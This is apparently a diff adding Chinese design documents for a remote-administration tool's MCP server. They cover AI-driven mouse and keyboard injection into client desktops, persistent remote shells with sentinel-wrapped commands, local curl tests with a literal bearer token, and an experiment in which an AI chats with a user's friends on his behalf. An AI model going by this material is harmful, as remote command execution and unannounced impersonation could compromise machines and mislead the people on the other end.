- 服务器侧映射:`phys_x = round(norm_x * screen_w)`、`phys_y = round(norm_y * screen_h)`,其中 `screen_w/h` 是 `remote_open` 时从 `TOKEN_BITMAPINFO` 得到的**物理捕获分辨率**。
|
||||
- 好处:无论 `max_width` 怎么缩、显示器多大,AI 永远只说「在图的 40%/60% 处点一下」,比例错位风险为零。
|
||||
|
||||
### 7.2 坐标空间一致性(最重要正确性点)
|
||||
|
||||
Observe(`get_screenshot` 抓**主屏**)与 Act(`SendInput` 绝对坐标在**虚拟桌面**空间)默认不同源。**阶段一只支持单显示器**:主屏 == 虚拟桌面,两者重合,映射严格正确。
|
||||
|
||||
多显示器(`MultiScreen`)在**阶段二**处理:届时 Observe 必须改抓**整个虚拟桌面**(而非主屏),`screen_w/h` 用虚拟桌面尺寸,归一化坐标才继续成立。**在阶段二落地前,`remote_open` 对多显示器配置应返回显式错误或降级为主屏**(见 §12)。
|
||||
|
||||
### 7.3 边界与钳制
|
||||
|
||||
- 归一化值越界(`<0` 或 `>1`)→ 钳制到 `[0,1]` 或返回 `-32602`(建议钳制,模型偶发 `1.0001`)。
|
||||
- `phys_x/y` 不得越过 `screen_w/h`,注入前 `clamp(0, screen_w-1)`。
|
||||
|
||||
---
|
||||
|
||||
## 8. 控制会话状态机
|
||||
|
||||
### 8.1 生命周期
|
||||
|
||||
```
|
||||
remote_open ──► 建立子连接 ──► [remote_mouse/remote_keyboard × N + get_screenshot × M]
|
||||
│ │
|
||||
└──(busy 互斥 / idle 回收 / 断线清理)──────────┴──► remote_close(幂等)
|
||||
```
|
||||
|
||||
### 8.2 状态与不变量(镜像 `docs/Mcp_Terminal_Design.md` §并发)
|
||||
|
||||
- **单设备单控制会话**:`remote_open` 对已存在会话 → `-32003`(忙)。
|
||||
- **互斥**:同一设备上,MCP 远程控制会话与**人类远程桌面观看**(`m_ScreenContexts` 已被占用)互斥——`remote_open` 发现已有屏幕子连接 → `-32003`,避免 AI 向人类正在观看/控制的画面注入。`remote_mouse/keyboard` 要求 `session_id` 匹配且会话未关闭。
|
||||
- **busy 标志**:一条注入在飞时 `busy=true`,保证等待线程是唯一擦除者(沿用终端的 `m_TermMutex`+`busy` 模式;远程控制建议独立 `m_ScreenCtrlMutex`/`m_ScreenCtrlCv`)。
|
||||
- **idle 回收**:会话闲置超时(默认 300s)自动关闭并 `CancelIO`(镜像 `SweepIdleTerminals`)。
|
||||
- **断线清理**:`OfflineProc`/`OnTerminalClosed` 同位置加 `McpServer().OnScreenControlClosed(subCtx)`,防悬空 `subCtx` 被连接池复用(复刻终端设计里发现的第 2 个修复点)。
|
||||
- **锁外 `CancelIO`**:所有取消动作在锁外执行(终端的 P2 教训)。
|
||||
|
||||
### 8.3 并发(P5 教训)
|
||||
|
||||
`httplib` 多线程并发处理请求;`remote_mouse` 会高频调用。会话状态一律 `m_ScreenCtrlMutex` 串行化,**不要假定请求串行**。高频注入可加**节流**(沿用 `SendScaledMouseMessage` 的鼠标移动节流思路,`ScreenSpyDlg.cpp:2728-2743`)。
|
||||
|
||||
---
|
||||
|
||||
## 9. 安全模型
|
||||
|
||||
延续既有「可控、可关、可审、可隔离」原则(与终端同级):
|
||||
|
||||
### 9.1 开关与门控
|
||||
|
||||
- 新增 `McpRemoteControl`(默认 **0=关**)。
|
||||
- `remote_*` 生效条件:`McpRemoteControl=1 && McpReadonly=0`,否则 `-32006`。
|
||||
- `get_screenshot` 是只读工具,不受此门控,仍仅受现有能力门(供纯观察场景)。
|
||||
|
||||
### 9.2 全程审计
|
||||
|
||||
每条 `remote_open/close/mouse/keyboard` 调用 → `PostMessageA(WM_SHOWERRORMSG, ...)` → `m_MessageLog` → `get_audit_log` 可查(复用 `McpServer.cpp:2050` 的审计模式,标题 `MCP远程控制`,标记「不可关闭」)。审计内容含:设备 id、动作、归一化坐标与换算后的物理坐标、session_id、时间戳。
|
||||
|
||||
### 9.3 会话级鉴权
|
||||
|
||||
- `session_id` 由 `GenerateRandomToken()`(32hex),每次 `remote_open` 独立随机,防串用(镜像终端 P6)。
|
||||
- 注入工具校验 `session_id` 归属与设备匹配,不匹配 → `-32002`。
|
||||
|
||||
### 9.4 不可逆操作与人工确认
|
||||
|
||||
- YAMA **不做逐动作确认**(会引入每步 0.5s+ 延迟,破坏闭环节奏)。
|
||||
- 高危动作(提交表单、删除、付款、改系统设置)的确认由**宿主/AI 编排层**负责(Claude Code 的权限系统 / 系统提示约定「不可逆操作前暂停询问用户」)。本文记录此分工;YAMA 提供审计留痕兜底。
|
||||
|
||||
### 9.5 提示注入(Prompt Injection)
|
||||
|
||||
视觉模型会读到客户端屏幕上的**不可信 UI 文本**,存在注入风险。缓解:远程控制本身即高危能力(默认关 + 只读关才开 + 全审计);建议宿主将远程控制会话隔离在独立权限域,并对「屏幕文本里的指令」保持怀疑。YAMA 侧不做内容分类(无意义且加延迟),记录即可。
|
||||
|
||||
---
|
||||
|
||||
## 10. 错误码
|
||||
|
||||
沿用现有约定(`BuildError(id, code, msg)`):
|
||||
|
||||
| code | 含义 | 触发 |
|
||||
|---|---|---|
|
||||
| -32602 | 参数非法 | action 未知、必填参数缺失、`max_width` 越界、归一化值格式错 |
|
||||
| -32000 | 通用失败 | 未分类错误 |
|
||||
| -32001 | 超时 | `remote_open` 等子连接/`get_screenshot` 等帧超时 |
|
||||
| -32002 | 设备/会话不存在 | `id` 无在线主机、`session_id` 不存在或不匹配 |
|
||||
| -32003 | 设备/会话忙 | 已有控制会话、人类远程桌面占用、`get_screenshot` 在飞 |
|
||||
| -32004 | 发送失败 | 注入命令发送失败 |
|
||||
| -32005 | 能力不支持 | 客户端无 `CLIENT_CAP_SCREEN_PREVIEW`(Observe)/ 不支持屏幕控制(Act) |
|
||||
| -32006 | 被开关禁用 | `McpRemoteControl=0` 或 `McpReadonly=1` |
|
||||
| -32008 | 非法/被拒参数 | 多显示器未支持时的 `remote_open` 降级拒绝(阶段一) |
|
||||
|
||||
---
|
||||
|
||||
## 11. 配置项
|
||||
|
||||
新增 1 项(`THIS_CFG` `settings` 节,键名沿用蛇形):
|
||||
|
||||
| 键 | 默认 | 说明 |
|
||||
|---|---|---|
|
||||
| `McpRemoteControl` | `0` | 远程控制开关;要求 `McpReadonly=0` 才生效 |
|
||||
|
||||
其余沿用:`McpEnabled`/`McpPort`/`McpBind`/`McpToken`/`McpReadonly`/`McpTerminal`/`McpCmdWhitelist`。改动需重启生效(与终端一致)。
|
||||
|
||||
---
|
||||
|
||||
## 12. 已知限制与后续扩展
|
||||
|
||||
### 12.1 阶段一(本期)
|
||||
|
||||
- **单显示器**:Observe 抓主屏,坐标空间与虚拟桌面重合;多显示器 `remote_open` 显式报错(`-32008`)。
|
||||
- 注入基于**绝对坐标** `SendInput`,要求客户端处于可注入的桌面会话(已登录、非锁屏/非 UAC 安全桌面);锁屏/UAC 提示场景注入无效(客户端 `SendInput` 限制),设计文档记录为已知限制。
|
||||
- **代聊实验使能项**:窗口抓屏(`COMMAND_SCREEN_WINDOW`)、UTF-8 剪贴板、窗口聚焦随阶段一落地(§17)。
|
||||
|
||||
### 12.2 阶段二(后续)
|
||||
|
||||
1. **多显示器虚拟桌面捕获**:`get_screenshot` 增加虚拟桌面抓屏,或新增 `remote_screenshot` 从子连接 DIB 服务端缩图(复用 `BmpToJpeg`/`CacheThumbnail` GDI+ 路径),使 Observe/Act 同源。
|
||||
2. **窗口定向**:`remote_focus_window`(复用 `COMMAND_SCREEN_WINDOW` + 客户端 `SetForegroundWindow`)。
|
||||
3. **光标读取 / 剪贴板**。
|
||||
4. **服务端缩图**:从 `m_BitmapData_Full`(BGRA DIB)直接按 API 上限缩图编码,进一步省客户端往返。
|
||||
|
||||
---
|
||||
|
||||
## 13. 改动清单(供实现参照)
|
||||
|
||||
> 行号以当前树为准(实现前请 grep 复核)。新增/改动尽量「复用」而非「重写」。
|
||||
|
||||
### 13.1 `server/2015Remote/McpServer.h`
|
||||
|
||||
- 新增 `struct ScreenCtrlSession`(仿 `TermSession`):`sessionId`、`deviceId`、`busy`、`started`、`closed`、`lastActiveAt`、`screenW/screenH`(来自 `TOKEN_BITMAPINFO`)、`subCtx` 引用。
|
||||
- 新增方法:`SetRemoteControlEnabled/IsRemoteControlEnabled`、`BeginScreenCtrlOpen/…/CloseScreenCtrlSession/SweepIdleScreenCtrl`、`OnScreenControlClosed(context*)`、`ResolveScreenCtrlSessionHost`。
|
||||
- 新增成员:`bool m_remoteControlEnabled=false;` 及 `std::mutex m_ScreenCtrlMutex; std::condition_variable m_ScreenCtrlCv; std::map<context*,uint64_t> m_ScreenCtrlContextToDevice; std::map<uint64_t,ScreenCtrlSession> m_ScreenCtrlSessions;`(或复用 WebService 的 `m_ScreenContexts` 生命周期,见下)。
|
||||
|
||||
### 13.2 `server/2015Remote/McpServer.cpp`
|
||||
|
||||
- 新增 4 个 schema 构建器 + 3 个 handler:`BuildRemoteOpen/Close/Mouse/Keyboard`(镜像 `BuildTerminalOpen` 等,`BuildToolsListResult` ~1278 后加条目,`BuildToolsCall` ~2124 加分派)。
|
||||
- `remote_open`:`SweepIdleScreenCtrl` → `ResolveScreenCtrlSessionHost` → 已有会话 `-32003` → `GenerateRandomToken` → **复用 Web 远程桌面的会话建立路径 `WebService::StartRemoteDesktop`(1725)**(发 `COMMAND_SCREEN_SPY` → 以 `SW_HIDE` 打开隐藏 `CScreenSpyDlg` 持有子连接 → 客户端子连接到达 → `RegisterScreenContext` 记入 `m_ScreenContexts`)→ 等 `TOKEN_BITMAPINFO` 取 `screenW/H` → `COMMAND_NEXT` → 审计 → 返回 `{session_id, screen_w, screen_h}`。**注意:屏幕子连接/帧 DIB/`TOKEN_BITMAPINFO` 处理都与 `CScreenSpyDlg` 耦合,不要另造无对话框持有者——沿 Web 的隐藏对话框路径是低风险正解。**
|
||||
- `remote_mouse/keyboard`:`ResolveScreenCtrlSessionHost` → 校验 `session_id`/`busy` → 归一化→物理像素(`round(norm * screenW/H)` + clamp)→ **复用 `WebService::HandleMouse/HandleKey` 的 `MSG64` 构造**(或抽取成共享 helper `BuildMouseMsg64/BuildKeyMsg64`,避免 MCP 与 Web 两处重复)→ `subCtx->Send2Client([COMMAND_SCREEN_CONTROL][MSG64])` → 审计。
|
||||
- `remote_close`:幂等 `CloseScreenCtrlSession`(不存在 → `{closed:true}`;sid 不匹配 → `-32002`)→ 锁外 `CancelIO` → 审计。
|
||||
- `OnScreenControlClosed`:镜像终端修复点——空闲会话直接擦路由+会话,busy 会话唤醒等待线程由其清理。
|
||||
- `SweepIdleScreenCtrl`:镜像 `SweepIdleTerminals`(`difftime` 防时钟回拨)。
|
||||
|
||||
### 13.3 `server/2015Remote/McpSettingsDlg.h/.cpp`
|
||||
|
||||
- 新增复选框 `IDC_MCP_REMOTECONTROL = 1008`,文案 `_TR("启用远程控制(AI 操控桌面)")`;回填/落盘 `McpRemoteControl`;对话框高度 +30。
|
||||
|
||||
### 13.4 `server/2015Remote/2015RemoteDlg.cpp`
|
||||
|
||||
- 启动读配置处加 `McpServer().SetRemoteControlEnabled(THIS_CFG.GetInt("settings","McpRemoteControl",0)!=0);`。
|
||||
- `OfflineProc` 加 `if (McpServer().IsRunning() && McpServer().IsScreenCtrlContext(ContextObject)) McpServer().OnScreenControlClosed(ContextObject);`(复刻终端修复点)。
|
||||
|
||||
### 13.5 语言文件
|
||||
|
||||
- 沿用终端约定:MCP 相关文案本就在 `lang/*.ini` 无条目(`_TR` 对未命中键原样返回中文)。若日后翻译,用 **GBK 工具**改 `lang/{en_US,zh_TW}.ini`(ANSI/GBK,**不能用 Write/Edit 直接写**)。
|
||||
|
||||
---
|
||||
|
||||
## 14. 关键点(实现时务必遵守)
|
||||
|
||||
- **P1(坐标一致性,最重要)**:归一化坐标映射所用 `screenW/H` 必须与**当前截图来源的分辨率**一致。阶段一单屏下 `TOKEN_BITMAPINFO` 的主屏尺寸 == 截图主屏物理尺寸,才成立;任何「用虚拟桌面尺寸映射主屏截图」都会造成系统性偏移(最佳实践第一大坑)。
|
||||
- **P2(注入走子连接)**:`COMMAND_SCREEN_CONTROL` **必须**经 `GetScreenContext` 取得的子连接发送,主连接无效。
|
||||
- **P3(锁外 CancelIO)**:所有 `CancelIO` 在 `m_ScreenCtrlMutex` 之外(终端 P2 教训)。
|
||||
- **P4(复用勿重写)**:`MSG64` 构造逻辑复用 `WebService::HandleMouse/HandleKey`;理想做法抽共享 helper,否则未来两处漂移。
|
||||
- **P5(并发串行化)**:`remote_mouse` 高频并发,状态全部走锁;勿假定请求串行(终端 P5 教训)。
|
||||
- **P6(session_id 独立随机 + 互斥)**:会话 token 用 `GenerateRandomToken`;单设备单会话;与人类远程桌面观看互斥(`-32003`)。
|
||||
- **P7(非黑盒)**:不实现 `perform_task`;循环归宿主/AI,YAMA 只出原语(D2)。
|
||||
|
||||
---
|
||||
|
||||
## 15. 验证(端到端,127.0.0.1:6544,Bearer `a2176213eddcf0acfdb285940ec4eb2a`)
|
||||
|
||||
前置:设置开 `McpEnabled=1`、`McpReadonly=0`、`McpRemoteControl=1`;目标 Windows 客户端在线、已登录桌面。`id` 取 `list_online_hosts` 的十进制主机 id。
|
||||
|
||||
```bash
|
||||
B='Authorization: Bearer a2176213eddcf0acfdb285940ec4eb2a'
|
||||
U=http://127.0.0.1:6544/mcp
|
||||
|
||||
# 1) tools/list 应出现 remote_open/close/mouse/keyboard 四个工具
|
||||
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'
|
||||
|
||||
# 2) 打开会话 → session_id + screen_w/h
|
||||
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"remote_open","arguments":{"id":"<HOSTID>"}}}'
|
||||
|
||||
# 3) Observe:截图(复用)
|
||||
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"get_screenshot","arguments":{"id":"<HOSTID>","max_width":1280}}}'
|
||||
|
||||
# 4) Act:移动 + 单击(归一化坐标,0.5,0.5 = 屏幕中心)
|
||||
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"remote_mouse","arguments":{"id":"<HOSTID>","session_id":"<SID>","action":"move","x":0.5,"y":0.5}}}'
|
||||
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":5,"method":"tools/call","params":{"name":"remote_mouse","arguments":{"id":"<HOSTID>","session_id":"<SID>","action":"click","x":0.5,"y":0.5,"button":"left"}}}'
|
||||
|
||||
# 5) 键盘:按下并抬起 Ctrl+Esc 或输入文本
|
||||
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":6,"method":"tools/call","params":{"name":"remote_keyboard","arguments":{"id":"<HOSTID>","session_id":"<SID>","action":"key_press","key":"WIN"}}}'
|
||||
|
||||
# 6) 负例:未开会话/错误 sid → -32002;已开会话再 open → -32003;只读/开关关 → -32006
|
||||
# 7) 关闭 + 幂等关闭
|
||||
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":9,"method":"tools/call","params":{"name":"remote_close","arguments":{"id":"<HOSTID>","session_id":"<SID>"}}}'
|
||||
|
||||
# 8) 审计链
|
||||
curl -s $U -H "$B" -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":12,"method":"tools/call","params":{"name":"get_audit_log","arguments":{}}}'
|
||||
```
|
||||
|
||||
人工核对:注入后目标机光标/焦点确实变化;审计列表出现标题「MCP远程控制」的 open/close/mouse/keyboard 条目;闲置 >300s 后旧 `session_id` 调用 → `-32002`。编译由你以 VS2019(MSBuild v143)完成;我侧仅代码审查(工具集 v142,无法在此构建)。
|
||||
|
||||
---
|
||||
|
||||
## 16. 涉及文件
|
||||
|
||||
- `server/2015Remote/McpServer.h` / `.cpp`(会话状态机 + schema + handler + 分派)
|
||||
- `server/2015Remote/McpSettingsDlg.h` / `.cpp`(新开关)
|
||||
- `server/2015Remote/2015RemoteDlg.cpp`(启动读配置 + `OfflineProc` 清理钩子)
|
||||
- `common/commands.h`(**只读参照**:`COMMAND_SCREEN_SPY`/`COMMAND_SCREEN_CONTROL`/`MSG64`/`COMMAND_SCREEN_PREVIEW_REQ` 等,无需改)
|
||||
- `server/2015Remote/WebService.cpp`(**复用参照**:`HandleMouse`/`HandleKey`/`GetScreenContext`)
|
||||
- `lang/{en_US,zh_TW}.ini`(可选,GBK 工具改)
|
||||
|
||||
---
|
||||
|
||||
## 17. 实验案例:AI 代聊(chat-on-behalf)
|
||||
|
||||
> 目标:以「AI 通过远程桌面,在聊天软件里代表你与朋友聊天」为第一个实验用例,验证整条「看 → 想 → 动 → 确认」链路。低风险、目标清晰、信号明确(有新消息 / 已发出)。
|
||||
|
||||
### 17.1 闭环
|
||||
|
||||
1. `list_windows` 找到聊天窗口(`hwnd`/`title`)。
|
||||
2. `remote_focus_window`(或 `remote_mouse` 点击输入框)聚焦聊天窗。
|
||||
3. 抓**聊天窗口**高分辨率截图 → 视觉模型读出朋友最新消息。
|
||||
4. 模型生成回复。
|
||||
5. `remote_clipboard` 把回复写入远程剪贴板(UTF-8)。
|
||||
6. `remote_keyboard` 注入 `Ctrl+V`(粘贴)+ `Enter`(发送)。
|
||||
7. 再截图确认已发出,等待下一条。
|
||||
|
||||
### 17.2 两个已验证的关键依赖
|
||||
|
||||
- **中文输入(走剪贴板,已解决)**:见 §6.4。`COMMAND_SCREEN_SET_CLIPBOARD`(25) 为 ANSI/GBK(`CF_TEXT`),中文可经 `ToAnsi(utf8, 936)` 直发跑通 MVP;要支持 emoji/完整 Unicode,复用 `COMMAND_C2C_TEXT`(90) 的 UTF-8→`CF_UNICODETEXT` 逻辑或新增 UTF-8 变体。客户端 `KernelManager.cpp:1590` 已内置「设剪贴板后自动模拟 Ctrl+V」。
|
||||
- **读消息(需窗口抓屏)**:`get_screenshot` 抓整屏,缩到 1280 后聊天文字过小、OCR 易错。用 `COMMAND_SCREEN_WINDOW`(153) 按窗口抓取聊天窗(更高有效分辨率),或对该区域用更高 `max_width`。
|
||||
|
||||
### 17.3 使能清单(相对现有代码的增量)
|
||||
|
||||
| 能力 | 状态 | 复用点 |
|
||||
|---|---|---|
|
||||
| `get_screenshot` / `list_windows` | ✅ 已有 | — |
|
||||
| 剪贴板写入 | ⚠️ 客户端已有(GBK 直发可跑通),缺 MCP 封装 | `COMMAND_SCREEN_SET_CLIPBOARD`(25) / `COMMAND_C2C_TEXT`(90) |
|
||||
| `remote_open` / `remote_close`(屏幕子连接) | ❌ 待建 | `COMMAND_SCREEN_SPY`(16) 建立逻辑 `2015RemoteDlg.cpp:8443` |
|
||||
| `remote_mouse` / `remote_keyboard` | ❌ 待建 | `WebService::HandleMouse/HandleKey` |
|
||||
| `remote_focus_window` | ❌ 待建 | `COMMAND_SCREEN_WINDOW`(153) |
|
||||
| `remote_clipboard` | ❌ 待建 | 见 §6.4 |
|
||||
|
||||
### 17.4 最小 MVP 实施顺序(按依赖)
|
||||
|
||||
1. `remote_open` / `remote_close`(屏幕子连接 + `TOKEN_BITMAPINFO` 取分辨率)。
|
||||
2. `remote_keyboard`(先只做 `key_press`/`type` + 修饰键,够发 `Ctrl+V`/`Enter`)。
|
||||
3. `remote_mouse`(`click`/`move`,用于点输入框;聚焦可用点击替代)。
|
||||
4. `remote_clipboard`(先 GBK 直发跑通,再上 UTF-8 变体)。
|
||||
5. `remote_focus_window`(或用步骤 3 的点击替代,二选一即可跑通)。
|
||||
|
||||
> 1→2→3 已足以发出一条消息(点输入框 + 粘贴 + 回车);4 是中文关键路径;5 是体验优化,可后置。
|
||||
|
||||
### 17.5 实验注意事项
|
||||
|
||||
- 目标机必须**已登录且未锁屏**(锁屏/UAC 安全桌面下抓屏与注入均失效,§12.1)。
|
||||
- 「代聊」会让朋友误以为是真人在聊——实验前建议告知对方;避免让 AI 在承诺/隐私等话术上自由发挥(§9.4 的人工确认原则同样适用)。
|
||||
- 新消息检测先用「轮询截图」即可(MVP 接受),后续用未读角标/窗口通知优化(§17.6)。
|
||||
|
||||
### 17.6 后续优化(非 MVP)
|
||||
|
||||
- 新消息触发:从「定时截图」改为「未读角标/窗口通知驱动」,大幅省 token。
|
||||
- 窗口定向抓屏(`COMMAND_SCREEN_WINDOW`)并入 `remote_screenshot`。
|
||||
- 会话历史:AI 保留最近几轮聊天上下文,避免回复脱节(宿主侧滚动缓冲,§3)。
|
||||
|
||||
---
|
||||
|
||||
## 参考(行业最佳实践)
|
||||
|
||||
- Anthropic《Best practices for computer and browser use with Claude》— https://claude.com/fr/blog/best-practices-for-computer-and-browser-use-with-claude
|
||||
- Anthropic 参考实现 `computer.py`(动作枚举、缩放、坐标换算)— https://github.com/anthropics/claude-quickstarts/blob/main/computer-use-demo/computer_use_demo/tools/computer.py
|
||||
- 《How Claude Computer Use Works: Architecture Internals》— https://callsphere.ai/blog/how-claude-computer-use-works-architecture-internals
|
||||
@@ -0,0 +1,471 @@
|
||||
# MCP 远程命令与持久终端 — 设计与实现
|
||||
|
||||
> 本文档覆盖 MCP 侧两类**命令执行**能力:
|
||||
> 1. **一次性命令 `exec_command`**(P3a)—— 每次新建一个 shell、跑一条命令、读完即关。
|
||||
> 2. **持久终端 `terminal_open` / `terminal_exec` / `terminal_close`**(P4)—— 同一主机**一个** shell 会话,跨命令保持 cwd 与环境变量。
|
||||
>
|
||||
> 阅读顺序建议:先读 `docs/Mcp_Design.md`(Phase 1:HTTP 协议、token 校验、配置、`list_online_hosts`)与 `docs/Mcp_Phase2_Design.md`(模式 A/A′/B、工具路线图、P2a–P3a 概要),再读本文档的**实现级细节**。本文档是后续人员 / 大模型接手与排查问题的主参考。
|
||||
|
||||
---
|
||||
|
||||
## 1. 术语与总览
|
||||
|
||||
| 术语 | 含义 |
|
||||
|---|---|
|
||||
| **一次性命令** | `exec_command`:无状态,每次独立 shell,命令结束即 `CancelIO` 关闭子链接。 |
|
||||
| **持久终端** | `terminal_open`→`terminal_exec`×N→`terminal_close`:有状态,cwd/env 跨命令保持。 |
|
||||
| **哨兵(sentinel)** | 包装在命令尾部的一段随机标记,用于在输出流里定位「命令真实退出码」并截断输出。 |
|
||||
| **子链接(sub-connection / `context*`)** | 客户端为 shell 建立的独立网络连接,`context` 是其服务端句柄。 |
|
||||
| **主连接(`FindMainContext`)** | 客户端与控制端的常驻长连接,用于下发 `COMMAND_*`。 |
|
||||
| **isPty** | `true`=ConPTY(UTF-8,`cp=CP_UTF8`);`false`=老 cmd 管道(GBK,`cp=936`)。 |
|
||||
|
||||
两类能力**共享同一套底层机制**(终端链路、编码、哨兵、状态机 map、审计),区别只在**生命周期**(一次性 vs 保持)与**安全门**(白名单 vs 无白名单 + 独立开关)。这也是为什么它们会互相排他(见 §6.3)。
|
||||
|
||||
---
|
||||
|
||||
## 2. 共享基础设施
|
||||
|
||||
### 2.1 客户端终端链路(两种能力通用)
|
||||
|
||||
无论一次性还是持久,shell 的建立过程完全相同:
|
||||
|
||||
```
|
||||
服务端 客户端
|
||||
│ COMMAND_SHELL(主连接) ──► 客户端创建 shell 子连接
|
||||
│ ◄── TOKEN_SHELL_START 或 TOKEN_TERMINAL_START(子连接)
|
||||
│ ↓ MessageHandle 顶部判定 IsTermPending → 交给 RegisterTerminalContext 接管
|
||||
│ COMMAND_NEXT(+ 若 PTY 先发 CMD_TERMINAL_RESIZE 80x24)──► 客户端启动 shell 输出回流
|
||||
│ ◄── 持续 shell 输出(TOKEN_TERMINAL_DATA 之类,经 IsTerminalContext 路由到 OnTerminalData)
|
||||
│ ◄── TOKEN_TERMINAL_CLOSE(shell 进程退出)→ OnTerminalClosed
|
||||
```
|
||||
|
||||
关键点:
|
||||
- **`COMMAND_NEXT` 不能漏发**——客户端读线程靠它才启动输出回流,漏发会导致 shell 在跑但输出永不送回(`RegisterTerminalContext` 内的注释明确强调)。
|
||||
- **PTY 需先告知初始尺寸 80×24**,否则 TUI 尺寸错乱。
|
||||
- `TOKEN_SHELL_START` 与 `TOKEN_TERMINAL_START` 二选一:老 `ShellManager`(cmd 管道)回前者,ConPTY 回后者;服务端在 `MessageHandle` 里据此判定 `isPty`。
|
||||
|
||||
### 2.2 编码
|
||||
|
||||
| isPty | 底层 | 服务端 cp |
|
||||
|---|---|---|
|
||||
| `true` | ConPTY | `CP_UTF8` |
|
||||
| `false` | 老 cmd 管道 | `936`(GBK) |
|
||||
|
||||
- **发送方向**:命令/哨兵行先 UTF-8 组好,再 `ToAnsi(line, cp)` 转成客户端编码,追加 `"\r\n"`。
|
||||
- **接收方向**:原始字节 `ToUtf8(raw, cp)` 转回 UTF-8。
|
||||
- 哨兵是纯 ASCII,两种编码下字节一致,编码无关。
|
||||
|
||||
### 2.3 哨兵机制
|
||||
|
||||
命令被包装成一行复合命令:
|
||||
|
||||
```
|
||||
[@echo off & ] <cmd> 2>&1 && echo __MCP_DONE_<nonce>__0 || echo __MCP_DONE_<nonce>__1
|
||||
```
|
||||
|
||||
- `@echo off & ` **仅 ConPTY 需要**(抑制 ConPTY 把输入整行回显)。老 `ShellManager` 已自行跳过回显,加 `@echo off` 反而破坏它的回显跳过逻辑。
|
||||
- `&&` / `||` 控制操作符取**命令真实退出码**(`%errorlevel%` 在复合句中解析期展开、已过期,故不能用 `%errorlevel%`)。
|
||||
- `<nonce>` 为 8 位随机 hex(`GenerateRandomToken().substr(0,8)`),保证命令真实输出不可能恰好包含完整哨兵串。
|
||||
- `2>&1` 让 stderr 也走哨兵链,stdout/stderr 都能被捕获且退出码正确。
|
||||
|
||||
**`FindSentinel`(检测)** 用 `rfind` **从后往前**找,且要求哨兵在**行首**(`p==0` 或前一个字节是 `\n`),后跟 `0` 或 `1`:
|
||||
|
||||
```cpp
|
||||
size_t from = npos;
|
||||
while (true) {
|
||||
size_t p = s.rfind(marker, from);
|
||||
bool lineStart = (p == 0) || (s[p-1] == '\n');
|
||||
if (lineStart && s[p+marker.size()] 是 '0' 或 '1') { exitCode=...; pos=p; return true; }
|
||||
from = p - 1;
|
||||
}
|
||||
```
|
||||
|
||||
为什么要「从后往前 + 行首」:ConPTY 会把**整条命令行回显**进输出流,回显里的哨兵字样嵌在 `&& echo ... || echo ...` 中间、前面是空格(非行首)。若用 `rfind` 直取,回显包先于真实输出到达时会命中回显里的 `__1` 提前结束、截断真实输出。行首校验能排除回显行。老 `ShellManager` 无回显,输出里只有真实哨兵(仍在行首),逻辑一致。
|
||||
|
||||
### 2.4 输出清洗管线
|
||||
|
||||
从原始字节到返回 `stdout` 字符串,固定五步(`CleanTerminalOutput`,一次性命令为内联等价逻辑):
|
||||
|
||||
```
|
||||
raw 字节
|
||||
→ ToUtf8(raw, cp) 按 2.2 编码解码
|
||||
→ StripAnsi(...) 剥 CSI/OSC/单字节 ESC,去彩色码
|
||||
→ CRLF → LF "\r\n" 归一为 "\n"
|
||||
→ StripEchoedCommand(stdout, sentLine) 剔 ConPTY 输入行回显(见下)
|
||||
→ TrimRight(...) 去尾部空白
|
||||
```
|
||||
|
||||
**`StripEchoedCommand`(回显剔除)**:ConPTY 的 `ENABLE_ECHO_INPUT` 会在 `@echo off` 生效**之前**把整条输入命令行回显进输出流。修复方法是在**服务端**把「刚发送的、含唯一 nonce 的完整命令行」(`SendTerminalCommandLine` 的返回值)从输出里整行 `find` + 剔除:
|
||||
|
||||
```cpp
|
||||
static std::string StripEchoedCommand(const std::string& s, const std::string& echoedLine) {
|
||||
if (echoedLine.empty() || s.empty()) return s;
|
||||
size_t p = s.find(echoedLine);
|
||||
if (p == npos) return s;
|
||||
size_t q = p + echoedLine.size();
|
||||
if (q < s.size() && s[q] == '\n') ++q; // CRLF 已归一为 \n
|
||||
return s.substr(0, p) + s.substr(q);
|
||||
}
|
||||
```
|
||||
|
||||
- 因 `echoedLine` 含随机 nonce,命令真实输出不可能恰好相同 → 不会误删合法输出。
|
||||
- 老 `ShellManager` 无回显,`find` 不到该行 → 无操作,安全。
|
||||
|
||||
### 2.5 状态机与互斥(两类能力共用)
|
||||
|
||||
```cpp
|
||||
struct TermSession {
|
||||
bool started; // false=已发 COMMAND_SHELL 待 START;true=已接管
|
||||
context* subCtx; // shell 子连接上下文
|
||||
bool isPty; // ConPTY(UTF-8) / cmd 管道(GBK)
|
||||
std::string command; // 原始 UTF-8 命令(审计用)
|
||||
std::string nonce; // 哨兵随机串
|
||||
std::vector<BYTE> data; // 收集的原始 shell 输出
|
||||
size_t sentPos; // 哨兵在 data 中的位置
|
||||
int exitCode; // 0/1/-1
|
||||
bool done; // 哨兵命中
|
||||
bool closed; // TOKEN_TERMINAL_CLOSE(进程退出)
|
||||
// ── 以下为持久终端新增 ──
|
||||
std::string sessionId; // 持久会话 token(一次性 exec 为空)
|
||||
bool persistent; // 是否持久会话
|
||||
bool busy; // 一条命令在飞(terminal_exec 复位 → WaitTermCommand 返回)
|
||||
time_t lastActiveAt; // idle 回收用(秒)
|
||||
};
|
||||
|
||||
std::mutex m_TermMutex; // 保护下面两个 map
|
||||
std::condition_variable m_TermCv;
|
||||
std::map<uint64_t, TermSession> m_TermSessions; // device_id → 会话
|
||||
std::map<context*, uint64_t> m_TermContextToDevice; // subCtx → device_id(顶部路由)
|
||||
```
|
||||
|
||||
- `m_TermContextToDevice` 是**反向索引**:`MessageHandle` 顶部用 `IsTerminalContext(subCtx)` 判定「这个子链接的输出是否该路由到 MCP 的 `OnTerminalData`,而不是打开 MFC 终端对话框」。
|
||||
